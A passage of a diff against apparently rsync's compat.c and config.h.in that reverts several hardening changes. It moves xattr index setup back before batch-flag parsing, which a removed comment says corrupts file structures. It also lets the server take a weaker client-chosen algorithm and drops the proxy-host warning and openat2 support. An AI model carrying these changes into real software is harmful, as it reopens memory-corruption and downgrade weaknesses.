!*lp_proxy_protocol_hosts())) {\n-\t\trprintf(FWARNING,\n-\t\t\t\"\\\"proxy protocol = true\\\" but \\\"proxy protocol hosts\\\" is unset:\"\n-\t\t\t\" all connections will be rejected as untrusted proxy peers.\"\n-\t\t\t\"  Set \\\"proxy protocol hosts\\\" to your trusted proxy's address.\\n\");\n-\t}\n \n \tif (no_detach)\n \t\tcreate_pid_file();\ndiff --git a/compat.c b/compat.c\nindex e159c7f..4ce8c6d 100644\n--- a/compat.c\n+++ b/compat.c\n@@ -36,7 +36,6 @@ extern int fuzzy_basis;\n extern int read_batch;\n extern int write_batch;\n extern int delay_updates;\n-extern int delay_symlinks;\n extern int checksum_seed;\n extern int basis_dir_cnt;\n extern int prune_empty_dirs;\n@@ -53,7 +52,6 @@ extern int need_messages_from_generator;\n extern int delete_mode, delete_before, delete_during, delete_after;\n extern int do_compression;\n extern int do_compression_level;\n-extern int do_compression_threads;\n extern int saw_stderr_opt;\n extern int msgs2stderr;\n extern char *shell_cmd;\n@@ -133,7 +131,7 @@ static const char *client_info;\n  * of that protocol for it to be advertised as available. */\n static void check_sub_protocol(void)\n {\n-\tconst char *dot;\n+\tchar *dot;\n \tint their_protocol, their_sub;\n \tint our_sub = get_subprotocol_version();\n \n@@ -174,7 +172,7 @@ void set_allow_inc_recurse(void)\n \t\tallow_inc_recurse = 0;\n \telse if (!am_sender\n \t && (delete_before || delete_after\n-\t  || delay_updates || delay_symlinks || prune_empty_dirs))\n+\t  || delay_updates || prune_empty_dirs))\n \t\tallow_inc_recurse = 0;\n \telse if (am_server && strchr(client_info, 'i') == NULL)\n \t\tallow_inc_recurse = 0;\n@@ -352,7 +350,7 @@ static int parse_negotiate_str(struct name_num_obj *nno, char *tmpbuf)\n \t\t\tcontinue;\n \t\tret = nni;\n \t\tbest = nno->saw[nni->num];\n-\t\tif (best == 1) /* Can't improve on our own #1 preference */\n+\t\tif (best == 1 || am_server) /* The server side stops at the first acceptable client choice */\n \t\t\tbreak;\n \t}\n \tif (ret) {\n@@ -416,7 +414,7 @@ static const char *getenv_nstr(int ntype)\n \t\tenv_str = ntype == NSTR_COMPRESS ? \"zlib\" : protocol_version >= 30 ? \"md5\" : \"md4\";\n \n \tif (am_server && env_str) {\n-\t\tconst char *cp = strchr(env_str, '&');\n+\t\tchar *cp = strchr(env_str, '&');\n \t\tif (cp)\n \t\t\tenv_str = cp + 1;\n \t}\n@@ -527,11 +525,8 @@ static void send_negotiate_str(int f_out, struct name_num_obj *nno, int ntype)\n \t\t\trprintf(FINFO, \"Client %s list (on client): %s\\n\", nno->type, tmpbuf);\n \t}\n \n-\t/* Each side sends their list of valid names to the other side and then each\n-\t * side picks its own most-preferred name that also appears in the peer's\n-\t * list.  Honest peers emit their list in table (strongest-first) order via\n-\t * get_default_nno_list(), so both sides converge on the strongest mutual\n-\t * choice; a peer that front-loads a weaker name only desyncs itself. */\n+\t/* Each side sends their list of valid names to the other side and then both sides\n+\t * pick the first name in the client's list that is also in the server's list. */\n \tif (do_negotiated_strings)\n \t\twrite_vstring(f_out, tmpbuf, len);\n }\n@@ -589,13 +584,14 @@ void setup_protocol(int f_out,int f_in)\n \t\tpathname_ndx = (file_extra_cnt += PTR_EXTRA_CNT);\n \telse\n \t\tdepth_ndx = ++file_extra_cnt;\n-\t/* uid_ndx/gid_ndx/acls_ndx/xattrs_ndx are assigned AFTER\n-\t * check_batch_flags() below: a batch file's stream-flags can flip\n-\t * preserve_uid/gid/acls/xattrs on, and computing the *_ndx slots\n-\t * before that leaves e.g. preserve_xattrs=1 with xattrs_ndx=0 -- so\n-\t * F_XATTR(file) (= REQ_EXTRA(file, 0)) writes at offset 0 of every\n-\t * file_struct, clobbering file->dirname.  Nothing between here and\n-\t * check_batch_flags() reads file_extra_cnt or the *_ndx values. */\n+\tif (preserve_uid)\n+\t\tuid_ndx = ++file_extra_cnt;\n+\tif (preserve_gid)\n+\t\tgid_ndx = ++file_extra_cnt;\n+\tif (preserve_acls && !am_sender)\n+\t\tacls_ndx = ++file_extra_cnt;\n+\tif (preserve_xattrs)\n+\t\txattrs_ndx = ++file_extra_cnt;\n \n \tif (am_server)\n \t\tset_allow_inc_recurse();\n@@ -642,15 +638,6 @@ void setup_protocol(int f_out,int f_in)\n \tif (read_batch)\n \t\tcheck_batch_flags();\n \n-\tif (preserve_uid)\n-\t\tuid_ndx = ++file_extra_cnt;\n-\tif (preserve_gid)\n-\t\tgid_ndx = ++file_extra_cnt;\n-\tif (preserve_acls && !am_sender)\n-\t\tacls_ndx = ++file_extra_cnt;\n-\tif (preserve_xattrs)\n-\t\txattrs_ndx = ++file_extra_cnt;\n-\n \tif (!saw_stderr_opt && protocol_version <= 28 && am_server)\n \t\tmsgs2stderr = 0; /* The client side may not have stderr setup for us. */\n \n@@ -720,14 +707,6 @@ void setup_protocol(int f_out,int f_in)\n \t\t\t\tprotocol_version);\n \t\t\texit_cleanup(RERR_PROTOCOL);\n \t\t}\n-\n-\t\tif (delay_symlinks) {\n-\t\t\trprintf(FERROR,\n-\t\t\t\t\"--delay-symlinks requires protocol 29 or higher\"\n-\t\t\t\t\" (negotiated %d).\\n\",\n-\t\t\t\tprotocol_version);\n-\t\t\texit_cleanup(RERR_PROTOCOL);\n-\t\t}\n \t} else if (protocol_version >= 30) {\n \t\tif (am_server) {\n \t\t\tcompat_flags = allow_inc_recurse ? CF_INC_RECURSE : 0;\ndiff --git a/config.h.in b/config.h.in\nindex 0accd4c..7d73212 100644\n--- a/config.h.in\n+++ b/config.h.in\n@@ -24,33 +24,22 @@\n /* Used to make \"checker\" understand that FD_ZERO() clears memory. */\n #undef FORCE_FD_ZERO_MEMSET\n \n-/* Flush gcov counters at exit_cleanup: rsync's children exit via _exit(),\n-   which bypasses the gcov atexit handler, so without this no .gcda is written\n-   for the receiver/generator/daemon-worker processes. */\n-#undef GCOV_COVERAGE\n-\n /* Define to the type of elements in the array set by `getgroups'. Usually\n    this is either `int' or `gid_t'. */\n #undef GETGROUPS_T\n \n-/* Define to 1 if the 'getpgrp' function requires zero arguments. */\n+/* Define to 1 if the `getpgrp' function requires zero arguments. */\n #undef GETPGRP_VOID\n \n-/* Define to 1 if you have the 'aclsort' function. */\n+/* Define to 1 if you have the `aclsort' function. */\n #undef HAVE_ACLSORT\n \n-/* Define to 1 if you have the 'acl_delete_def_file_at' function. */\n-#undef HAVE_ACL_DELETE_DEF_FILE_AT\n-\n /* true if you have acl_get_perm_np */\n #undef HAVE_ACL_GET_PERM_NP\n \n /* Define to 1 if you have the <acl/libacl.h> header file. */\n #undef HAVE_ACL_LIBACL_H\n \n-/* Define to 1 if you have the 'acl_set_file_at' function. */\n-#undef HAVE_ACL_SET_FILE_AT\n-\n /* true if you have AIX ACLs */\n #undef HAVE_AIX_ACLS\n \n@@ -66,10 +55,10 @@\n /* Define to 1 if you have the <arpa/nameser.h> header file. */\n #undef HAVE_ARPA_NAMESER_H\n \n-/* Define to 1 if you have the 'asprintf' function. */\n+/* Define to 1 if you have the `asprintf' function. */\n #undef HAVE_ASPRINTF\n \n-/* Define to 1 if you have the 'attropen' function. */\n+/* Define to 1 if you have the `attropen' function. */\n #undef HAVE_ATTROPEN\n \n /* Define to 1 if you have the <attr/xattr.h> header file. */\n@@ -84,13 +73,13 @@\n /* Define to 1 if vsprintf has a C99-compatible return value */\n #undef HAVE_C99_VSNPRINTF\n \n-/* Define to 1 if you have the 'chflags' function. */\n+/* Define to 1 if you have the `chflags' function. */\n #undef HAVE_CHFLAGS\n \n-/* Define to 1 if you have the 'chmod' function. */\n+/* Define to 1 if you have the `chmod' function. */\n #undef HAVE_CHMOD\n \n-/* Define to 1 if you have the 'chown' function. */\n+/* Define to 1 if you have the `chown' function. */\n #undef HAVE_CHOWN\n \n /* Define to 1 if you have the <compat.h> header file. */\n@@ -102,13 +91,10 @@\n /* Define to 1 if you have the <ctype.h> header file. */\n #undef HAVE_CTYPE_H\n \n-/* Define to 1 if you have the <dirent.h> header file, and it defines 'DIR'.\n+/* Define to 1 if you have the <dirent.h> header file, and it defines `DIR'.\n    */\n #undef HAVE_DIRENT_H\n \n-/* Define to 1 if you have a working dirfd() (function or macro). */\n-#undef HAVE_DIRFD\n-\n /* Define to 1 if you have the <dl.h> header file. */\n #undef HAVE_DL_H\n \n@@ -118,7 +104,7 @@\n /* Define to 1 if errno is declared in errno.h */\n #undef HAVE_ERRNO_DECL\n \n-/* Define to 1 if you have the 'extattr_get_link' function. */\n+/* Define to 1 if you have the `extattr_get_link' function. */\n #undef HAVE_EXTATTR_GET_LINK\n \n /* Define to 1 if you have the fallocate function and it compiles and links\n@@ -131,64 +117,55 @@\n /* Define if FALLOC_FL_ZERO_RANGE is available. */\n #undef HAVE_FALLOC_FL_ZERO_RANGE\n \n-/* Define to 1 if you have the 'fchmod' function. */\n+/* Define to 1 if you have the `fchmod' function. */\n #undef HAVE_FCHMOD\n \n /* Define to 1 if you have the <fcntl.h> header file. */\n #undef HAVE_FCNTL_H\n \n-/* Define to 1 if you have the 'fdopendir' function. */\n-#undef HAVE_FDOPENDIR\n-\n /* Define to 1 if you have the <float.h> header file. */\n #undef HAVE_FLOAT_H\n \n /* True if you have FreeBSD xattrs */\n #undef HAVE_FREEBSD_XATTRS\n \n-/* Define to 1 if you have the 'fstat' function. */\n+/* Define to 1 if you have the `fstat' function. */\n #undef HAVE_FSTAT\n \n-/* Define to 1 if you have the 'ftruncate' function. */\n+/* Define to 1 if you have the `ftruncate' function. */\n #undef HAVE_FTRUNCATE\n \n-/* Define to 1 if you have the 'futimens' function. */\n-#undef HAVE_FUTIMENS\n-\n /* Define to 1 if you have the \"getaddrinfo\" function and required types. */\n #undef HAVE_GETADDRINFO\n \n-/* Define to 1 if you have the 'getattrlist' function. */\n+/* Define to 1 if you have the `getattrlist' function. */\n #undef HAVE_GETATTRLIST\n \n-/* Define to 1 if you have the 'getcwd' function. */\n+/* Define to 1 if you have the `getcwd' function. */\n #undef HAVE_GETCWD\n \n-/* Define to 1 if you have the 'getegid' function. */\n+/* Define to 1 if you have the `getegid' function. */\n #undef HAVE_GETEGID\n \n-/* Define to 1 if you have the 'geteuid' function. */\n+/* Define to 1 if you have the `geteuid' function. */\n #undef HAVE_GETEUID\n \n-/* Define to 1 if you have the 'getgrouplist' function. */\n+/* Define to 1 if you have the `getgrouplist' function. */\n #undef HAVE_GETGROUPLIST\n \n-/* Define to 1 if you have the 'getgroups' function. */\n+/* Define to 1 if you have the `getgroups' function. */\n #undef HAVE_GETGROUPS\n \n-/* Define to 1 if you have the 'getpass' function. */\n+/* Define to 1 if you have the `getpass' function. */\n #undef HAVE_GETPASS\n \n-/* Define to 1 if you have the 'getpgrp' function. */\n+/* Define to 1 if you have the `getpgrp' function. */\n #undef HAVE_GETPGRP\n \n-/* Define to 1 if you have the 'getrlimit' function. */\n-#undef HAVE_GETRLIMIT\n-\n /* Define to 1 if gettimeofday() takes a time-zone arg */\n #undef HAVE_GETTIMEOFDAY_TZ\n \n-/* Define to 1 if you have the 'getxattr' function. */\n+/* Define to 1 if you have the `getxattr' function. */\n #undef HAVE_GETXATTR\n \n /* Define to 1 if you have the <grp.h> header file. */\n@@ -200,25 +177,22 @@\n /* Define to 1 if you have the <iconv.h> header file. */\n #undef HAVE_ICONV_H\n \n-/* Define to 1 if you have the 'iconv_open' function. */\n+/* Define to 1 if you have the `iconv_open' function. */\n #undef HAVE_ICONV_OPEN\n \n-/* Define to 1 if you have the <idn2.h> header file. */\n-#undef HAVE_IDN2_H\n-\n-/* Define to 1 if the system has the type 'id_t'. */\n+/* Define to 1 if the system has the type `id_t'. */\n #undef HAVE_ID_T\n \n-/* Define to 1 if you have the 'inet_ntop' function. */\n+/* Define to 1 if you have the `inet_ntop' function. */\n #undef HAVE_INET_NTOP\n \n-/* Define to 1 if you have the 'inet_pton' function. */\n+/* Define to 1 if you have the `inet_pton' function. */\n #undef HAVE_INET_PTON\n \n-/* Define to 1 if you have the 'initgroups' function. */\n+/* Define to 1 if you have the `initgroups' function. */\n #undef HAVE_INITGROUPS\n \n-/* Define to 1 if you have the 'innetgr' function. */\n+/* Define to 1 if you have the `innetgr' function. */\n #undef HAVE_INNETGR\n \n /* Define to 1 if you have the <inttypes.h> header file. */\n@@ -230,65 +204,61 @@\n /* Define to 1 if you have the <langinfo.h> header file. */\n #undef HAVE_LANGINFO_H\n \n-/* Define to 1 if you have the 'lchmod' function. */\n+/* Define to 1 if you have the `lchmod' function. */\n #undef HAVE_LCHMOD\n \n-/* Define to 1 if you have the 'lchown' function. */\n+/* Define to 1 if you have the `lchown' function. */\n #undef HAVE_LCHOWN\n \n-/* Define to 1 if you have the 'acl' library (-lacl). */\n+/* Define to 1 if you have the `acl' library (-lacl). */\n #undef HAVE_LIBACL\n \n-/* Define to 1 if libacl provides\n-   acl_get_file_at/acl_set_file_at/acl_delete_def_file_at */\n-#undef HAVE_LIBACL_AT\n+/* Define to 1 if you have the `attr' library (-lattr). */\n+#undef HAVE_LIBATTR\n \n /* Define to 1 if you have the <libcharset.h> header file. */\n #undef HAVE_LIBCHARSET_H\n \n-/* Define to 1 if you have the 'inet' library (-linet). */\n+/* Define to 1 if you have the `inet' library (-linet). */\n #undef HAVE_LIBINET\n \n-/* Define to 1 if you have the 'nsl' library (-lnsl). */\n+/* Define to 1 if you have the `nsl' library (-lnsl). */\n #undef HAVE_LIBNSL\n \n-/* Define to 1 if you have the 'nsl_s' library (-lnsl_s). */\n+/* Define to 1 if you have the `nsl_s' library (-lnsl_s). */\n #undef HAVE_LIBNSL_S\n \n-/* Define to 1 if you have the 'popt' library (-lpopt). */\n+/* Define to 1 if you have the `popt' library (-lpopt). */\n #undef HAVE_LIBPOPT\n \n-/* Define to 1 if you have the 'resolv' library (-lresolv). */\n+/* Define to 1 if you have the `resolv' library (-lresolv). */\n #undef HAVE_LIBRESOLV\n \n-/* Define to 1 if you have the 'sec' library (-lsec). */\n+/* Define to 1 if you have the `sec' library (-lsec). */\n #undef HAVE_LIBSEC\n \n-/* Define to 1 if you have the 'socket' library (-lsocket). */\n+/* Define to 1 if you have the `socket' library (-lsocket). */\n #undef HAVE_LIBSOCKET\n \n-/* Define to 1 if you have the 'z' library (-lz). */\n+/* Define to 1 if you have the `z' library (-lz). */\n #undef HAVE_LIBZ\n \n /* Define to 1 if you have the <limits.h> header file. */\n #undef HAVE_LIMITS_H\n \n-/* Define to 1 if you have the 'link' function. */\n+/* Define to 1 if you have the `link' function. */\n #undef HAVE_LINK\n \n-/* Define to 1 if you have the 'linkat' function. */\n+/* Define to 1 if you have the `linkat' function. */\n #undef HAVE_LINKAT\n \n /* Define to 1 if you have the <linux/falloc.h> header file. */\n #undef HAVE_LINUX_FALLOC_H\n \n-/* Define to 1 if you have the <linux/ioprio.h> header file. */\n-#undef HAVE_LINUX_IOPRIO_H\n-\n /* True if you have Linux xattrs (or equivalent) */\n #undef HAVE_LINUX_XATTRS\n \n-/* Define to 1 if you have the 'locale_charset' function. */\n+/* Define to 1 if you have the `locale_charset' function. */\n #undef HAVE_LOCALE_CHARSET\n \n /* Define to 1 if you have the <locale.h> header file. */\n@@ -298,65 +268,56 @@\n    than `double'. */\n #undef HAVE_LONG_DOUBLE\n \n-/* Define to 1 if the type 'long double' works and has more range or precision\n-   than 'double'. */\n+/* Define to 1 if the type `long double' works and has more range or precision\n+   than `double'. */\n #undef HAVE_LONG_DOUBLE_WIDER\n \n-/* Define to 1 if you have the 'lseek64' function. */\n+/* Define to 1 if you have the `lseek64' function. */\n #undef HAVE_LSEEK64\n \n-/* Define to 1 if you have the 'lutimes' function. */\n+/* Define to 1 if you have the `lutimes' function. */\n #undef HAVE_LUTIMES\n \n /* Define to 1 if you have the <lz4.h> header file. */\n #undef HAVE_LZ4_H\n \n-/* Define to 1 if you have the 'mallinfo' function. */\n+/* Define to 1 if you have the `mallinfo' function. */\n #undef HAVE_MALLINFO\n \n-/* Define to 1 if you have the 'mallinfo2' function. */\n+/* Define to 1 if you have the `mallinfo2' function. */\n #undef HAVE_MALLINFO2\n \n /* Define to 1 if you have the <malloc.h> header file. */\n #undef HAVE_MALLOC_H\n \n-/* Define to 1 if you have the 'mbrtowc' function. */\n-#undef HAVE_MBRTOWC\n-\n /* Define to 1 if you have the <mcheck.h> header file. */\n #undef HAVE_MCHECK_H\n \n-/* Define to 1 if you have the 'memmove' function. */\n+/* Define to 1 if you have the `memmove' function. */\n #undef HAVE_MEMMOVE\n \n-/* Define to 1 if you have the 'mkfifo' function. */\n+/* Define to 1 if you have the `mkfifo' function. */\n #undef HAVE_MKFIFO\n \n-/* Define to 1 if you have the 'mkfifoat' function. */\n-#undef HAVE_MKFIFOAT\n-\n-/* Define to 1 if you have the 'mknod' function. */\n+/* Define to 1 if you have the `mknod' function. */\n #undef HAVE_MKNOD\n \n-/* Define to 1 if you have the 'mknodat' function. */\n-#undef HAVE_MKNODAT\n-\n-/* Define to 1 if you have the 'mkstemp64' function. */\n+/* Define to 1 if you have the `mkstemp64' function. */\n #undef HAVE_MKSTEMP64\n \n-/* Define to 1 if you have the 'mktime' function. */\n+/* Define to 1 if you have the `mktime' function. */\n #undef HAVE_MKTIME\n \n-/* Define to 1 if the system has the type 'mode_t'. */\n+/* Define to 1 if the system has the type `mode_t'. */\n #undef HAVE_MODE_T\n \n-/* Define to 1 if you have the 'mtrace' function. */\n+/* Define to 1 if you have the `mtrace' function. */\n #undef HAVE_MTRACE\n \n-/* Define to 1 if you have the 'nanosleep' function. */\n+/* Define to 1 if you have the `nanosleep' function. */\n #undef HAVE_NANOSLEEP\n \n-/* Define to 1 if you have the <ndir.h> header file, and it defines 'DIR'. */\n+/* Define to 1 if you have the <ndir.h> header file, and it defines `DIR'. */\n #undef HAVE_NDIR_H\n \n /* Define to 1 if you have the <netdb.h> header file. */\n@@ -371,19 +332,15 @@\n /* Define to 1 if you have the <netinet/ip.h> header file. */\n #undef HAVE_NETINET_IP_H\n \n-/* Define to 1 if you have the 'nl_langinfo' function. */\n+/* Define to 1 if you have the `nl_langinfo' function. */\n #undef HAVE_NL_LANGINFO\n \n-/* Define to 1 if the system has the type 'off_t'. */\n+/* Define to 1 if the system has the type `off_t'. */\n #undef HAVE_OFF_T\n \n-/* Define to 1 if you have the 'open64' function. */\n+/* Define to 1 if you have the `open64' function. */\n #undef HAVE_OPEN64\n \n-/* Define to use Linux openat2(RESOLVE_BENEATH) in secure_relative_open where\n-   available. */\n-#undef HAVE_OPENAT2\n-\n /* Define to 1 if you have the <openssl/md4.h> header file. */\n #undef HAVE_OPENSSL_MD4_H\n \n@@ -396,15 +353,9 @@\n /* True if you have Mac OS X xattrs */\n #undef HAVE_OSX_XATTRS\n \n-/* Define to 1 if the system has the type 'pid_t'. */\n+/* Define to 1 if the system has the type `pid_t'. */\n #undef HAVE_PID_T\n \n-/* Define to 1 if you have the 'poll' function. */\n-#undef HAVE_POLL\n-\n-/* Define to 1 if you have the <poll.h> header file. */\n-#undef HAVE_POLL_H\n-\n /* Define to 1 if you have the <popt.h> header file. */\n #undef HAVE_POPT_H\n \n@@ -414,13 +365,13 @@\n /* true if you have posix ACLs */\n #undef HAVE_POSIX_ACLS\n \n-/* Define to 1 if you have the 'posix_fallocate' function. */\n+/* Define to 1 if you have the `posix_fallocate' function. */\n #undef HAVE_POSIX_FALLOCATE\n \n-/* Define to 1 if you have the 'putenv' function. */\n+/* Define to 1 if you have the `putenv' function. */\n #undef HAVE_PUTENV\n \n-/* Define to 1 if you have the 'readlink' function. */\n+/* Define to 1 if you have the `readlink' function. */\n #undef HAVE_READLINK\n \n /* Define to 1 if remote shell is remsh, not rsh */\n@@ -429,46 +380,40 @@\n /* Define to 1 if mkstemp() is available and works right */\n #undef HAVE_SECURE_MKSTEMP\n \n-/* Define to 1 if you have the 'setattrlist' function. */\n+/* Define to 1 if you have the `setattrlist' function. */\n #undef HAVE_SETATTRLIST\n \n-/* Define to 1 if you have the 'setenv' function. */\n+/* Define to 1 if you have the `setenv' function. */\n #undef HAVE_SETENV\n \n-/* Define to 1 if you have the 'seteuid' function. */\n+/* Define to 1 if you have the `seteuid' function. */\n #undef HAVE_SETEUID\n \n-/* Define to 1 if you have the 'setgroups' function. */\n+/* Define to 1 if you have the `setgroups' function. */\n #undef HAVE_SETGROUPS\n \n-/* Define to 1 if you have the 'setlocale' function. */\n+/* Define to 1 if you have the `setlocale' function. */\n #undef HAVE_SETLOCALE\n \n-/* Define to 1 if you have the 'setmode' function. */\n+/* Define to 1 if you have the `setmode' function. */\n #undef HAVE_SETMODE\n \n-/* Define to 1 if you have the 'setpriority' function. */\n-#undef HAVE_SETPRIORITY\n-\n-/* Define to 1 if you have the 'setrlimit' function. */\n-#undef HAVE_SETRLIMIT\n-\n-/* Define to 1 if you have the 'setsid' function. */\n+/* Define to 1 if you have the `setsid' function. */\n #undef HAVE_SETSID\n \n-/* Define to 1 if you have the 'setvbuf' function. */\n+/* Define to 1 if you have the `setvbuf' function. */\n #undef HAVE_SETVBUF\n \n-/* Define to 1 if you have the 'sigaction' function. */\n+/* Define to 1 if you have the `sigaction' function. */\n #undef HAVE_SIGACTION\n \n-/* Define to 1 if you have the 'sigprocmask' function. */\n+/* Define to 1 if you have the `sigprocmask' function. */\n #undef HAVE_SIGPROCMASK\n \n-/* Define to 1 if the system has the type 'size_t'. */\n+/* Define to 1 if the system has the type `size_t'. */\n #undef HAVE_SIZE_T\n \n-/* Define to 1 if you have the 'snprintf' function. */\n+/* Define to 1 if you have the `snprintf' function. */\n #undef HAVE_SNPRINTF\n \n /* Do we have sockaddr_in6.sin6_scope_id? */\n@@ -501,19 +446,19 @@\n /* Define to 1 if you have the <stdlib.h> header file. */\n #undef HAVE_STDLIB_H\n \n-/* Define to 1 if you have the 'stpcpy' function. */\n+/* Define to 1 if you have the `stpcpy' function. */\n #undef HAVE_STPCPY\n \n-/* Define to 1 if you have the 'strcasecmp' function. */\n+/* Define to 1 if you have the `strcasecmp' function. */\n #undef HAVE_STRCASECMP\n \n-/* Define to 1 if you have the 'strchr' function. */\n+/* Define to 1 if you have the `strchr' function. */\n #undef HAVE_STRCHR\n \n-/* Define to 1 if you have the 'strerror' function. */\n+/* Define to 1 if you have the `strerror' function. */\n #undef HAVE_STRERROR\n \n-/* Define to 1 if you have the 'strftime' function. */\n+/* Define to 1 if you have the `strftime' function. */\n #undef HAVE_STRFTIME\n \n /* Define to 1 if you have the <strings.h> header file. */\n@@ -522,37 +467,37 @@\n /* Define to 1 if you have the <string.h> header file. */\n #undef HAVE_STRING_H\n \n-/* Define to 1 if you have the 'strlcat' function. */\n+/* Define to 1 if you have the `strlcat' function. */\n #undef HAVE_STRLCAT\n \n-/* Define to 1 if you have the 'strlcpy' function. */\n+/* Define to 1 if you have the `strlcpy' function. */\n #undef HAVE_STRLCPY\n \n-/* Define to 1 if you have the 'strpbrk' function. */\n+/* Define to 1 if you have the `strpbrk' function. */\n #undef HAVE_STRPBRK\n \n-/* Define to 1 if you have the 'strtol' function. */\n+/* Define to 1 if you have the `strtol' function. */\n #undef HAVE_STRTOL\n \n-/* Define to 1 if the system has the type 'struct addrinfo'. */\n+/* Define to 1 if the system has the type `struct addrinfo'. */\n #undef HAVE_STRUCT_ADDRINFO\n \n-/* Define to 1 if the system has the type 'struct sockaddr_storage'. */\n+/* Define to 1 if the system has the type `struct sockaddr_storage'. */\n #undef HAVE_STRUCT_SOCKADDR_STORAGE\n \n-/* Define to 1 if the system has the type 'struct stat64'. */\n+/* Define to 1 if the system has the type `struct stat64'. */\n #undef HAVE_STRUCT_STAT64\n \n-/* Define to 1 if 'st_mtimensec' is a member of 'struct stat'. */\n+/* Define to 1 if `st_mtimensec' is a member of `struct stat'. */\n #undef HAVE_STRUCT_STAT_ST_MTIMENSEC\n \n-/* Define to 1 if 'st_mtimespec.tv_nsec' is a member of 'struct stat'. */\n+/* Define to 1 if `st_mtimespec.tv_nsec' is a member of `struct stat'. */\n #undef HAVE_STRUCT_STAT_ST_MTIMESPEC_TV_NSEC\n \n-/* Define to 1 if 'st_mtim.tv_nsec' is a member of 'struct stat'. */\n+/* Define to 1 if `st_mtim.tv_nsec' is a member of `struct stat'. */\n #undef HAVE_STRUCT_STAT_ST_MTIM_TV_NSEC\n \n-/* Define to 1 if 'st_rdev' is a member of 'struct stat'. */\n+/* Define to 1 if `st_rdev' is a member of `struct stat'. */\n #undef HAVE_STRUCT_STAT_ST_RDEV\n \n /* Define to 1 if you have the \"struct utimbuf\" type */\n@@ -564,7 +509,7 @@\n /* Define to 1 if you have the <sys/attr.h> header file. */\n #undef HAVE_SYS_ATTR_H\n \n-/* Define to 1 if you have the <sys/dir.h> header file, and it defines 'DIR'.\n+/* Define to 1 if you have the <sys/dir.h> header file, and it defines `DIR'.\n    */\n #undef HAVE_SYS_DIR_H\n \n@@ -589,16 +534,13 @@\n /* Define to 1 if you have the <sys/mode.h> header file. */\n #undef HAVE_SYS_MODE_H\n \n-/* Define to 1 if you have the <sys/ndir.h> header file, and it defines 'DIR'.\n+/* Define to 1 if you have the <sys/ndir.h> header file, and it defines `DIR'.\n    */\n #undef HAVE_SYS_NDIR_H\n \n /* Define to 1 if you have the <sys/param.h> header file. */\n #undef HAVE_SYS_PARAM_H\n \n-/* Define to 1 if you have the <sys/resource.h> header file. */\n-#undef HAVE_SYS_RESOURCE_H\n-\n /* Define to 1 if you have the <sys/select.h> header file. */\n #undef HAVE_SYS_SELECT_H\n \n@@ -608,9 +550,6 @@\n /* Define to 1 if you have the <sys/stat.h> header file. */\n #undef HAVE_SYS_STAT_H\n \n-/* Define to 1 if you have the <sys/syscall.h> header file. */\n-#undef HAVE_SYS_SYSCALL_H\n-\n /* Define to 1 if you have the <sys/time.h> header file. */\n #undef HAVE_SYS_TIME_H\n \n@@ -629,7 +568,7 @@\n /* Define to 1 if you have the <sys/xattr.h> header file. */\n #undef HAVE_SYS_XATTR_H\n \n-/* Define to 1 if you have the 'tcgetpgrp' function. */\n+/* Define to 1 if you have the `tcgetpgrp' function. */\n #undef HAVE_TCGETPGRP\n \n /* true if you have Tru64 ACLs */\n@@ -641,49 +580,42 @@\n /* true if you have UnixWare ACLs */\n #undef HAVE_UNIXWARE_ACLS\n \n-/* Define to 1 if you have the 'unsetenv' function. */\n+/* Define to 1 if you have the `unsetenv' function. */\n #undef HAVE_UNSETENV\n \n-/* Define to 1 if you have the 'usleep' function. */\n+/* Define to 1 if you have the `usleep' function. */\n #undef HAVE_USLEEP\n \n-/* Define to 1 if you have the 'utime' function. */\n+/* Define to 1 if you have the `utime' function. */\n #undef HAVE_UTIME\n \n-/* Define to 1 if you have the 'utimensat' function. */\n+/* Define to 1 if you have the `utimensat' function. */\n #undef HAVE_UTIMENSAT\n \n-/* Define to 1 if you have the 'utimes' function. */\n+/* Define to 1 if you have the `utimes' function. */\n #undef HAVE_UTIMES\n \n /* Define to 1 if you have the <utime.h> header file. */\n #undef HAVE_UTIME_H\n \n-/* Define to 1 if 'utime(file, NULL)' sets file's timestamp to the present. */\n+/* Define to 1 if `utime(file, NULL)' sets file's timestamp to the present. */\n #undef HAVE_UTIME_NULL\n \n-/* Define to 1 if you have the 'vasprintf' function. */\n+/* Define to 1 if you have the `vasprintf' function. */\n #undef HAVE_VASPRINTF\n \n-/* Define to 1 if you have the 'va_copy' function. */\n+/* Define to 1 if you have the `va_copy' function. */\n #undef HAVE_VA_COPY\n \n-/* Define to 1 if you have the 'vsnprintf' function. */\n+/* Define to 1 if you have the `vsnprintf' function. */\n #undef HAVE_VSNPRINTF\n \n-/* Define to 1 if you have the 'wait4' function. */\n+/* Define to 1 if you have the `wait4' function. */\n #undef HAVE_WAIT4\n \n-/* Define to 1 if you have the 'waitpid' function. */\n+/* Define to 1 if you have the `waitpid' function. */\n #undef HAVE_WAITPID\n \n-/* Define to 1 if you have the <wchar.h> header file. */\n-#undef HAVE_WCHAR_H\n-\n-/* Define to 1 if the setxattrat/getxattrat/removexattrat syscalls are\n-   available */\n-#undef HAVE_XATTRAT_SYSCALLS\n-\n /* Define to 1 if you have the <xxhash.h> header file. */\n #undef HAVE_XXHASH_H\n \n@@ -693,19 +625,19 @@\n /* Define to 1 if you have the <zstd.h> header file. */\n #undef HAVE_ZSTD_H\n \n-/* Define to 1 if you have the '_acl' function. */\n+/* Define to 1 if you have the `_acl' function. */\n #undef HAVE__ACL\n \n-/* Define to 1 if you have the '_facl' function. */\n+/* Define to 1 if you have the `_facl' function. */\n #undef HAVE__FACL\n \n-/* Define to 1 if you have the '__acl' function. */\n+/* Define to 1 if you have the `__acl' function. */\n #undef HAVE___ACL\n \n-/* Define to 1 if you have the '__facl' function. */\n+/* Define to 1 if you have the `__facl' function. */\n #undef HAVE___FACL\n \n-/* Define to 1 if you have the '__va_copy' function. */\n+/* Define to 1 if you have the `__va_copy' function. */\n #undef HAVE___VA_COPY\n \n /* Define as const if the declaration of iconv() needs const. */\n@@ -729,6 +661,12 @@\n /* Define to 1 if makedev() takes 3 args */\n #undef MAKEDEV_TAKES_3_ARGS\n \n+/* Define to 1 if mknod() can create FIFOs. */\n+#undef MKNOD_CREATES_FIFOS\n+\n+/* Define to 1 if mknod() can create sockets. */\n+#undef MKNOD_CREATES_SOCKETS\n+\n /* unprivileged group for unprivileged user */\n #undef NOBODY_GROUP\n \n@@ -789,43 +727,43 @@\n /* Define to 1 if \"signed char\" is a valid type */\n #undef SIGNED_CHAR_OK\n \n-/* The size of 'char*', as computed by sizeof. */\n+/* The size of `char*', as computed by sizeof. */\n #undef SIZEOF_CHARP\n \n-/* The size of 'int', as computed by sizeof. */\n+/* The size of `int', as computed by sizeof. */\n #undef SIZEOF_INT\n \n-/* The size of 'int16_t', as computed 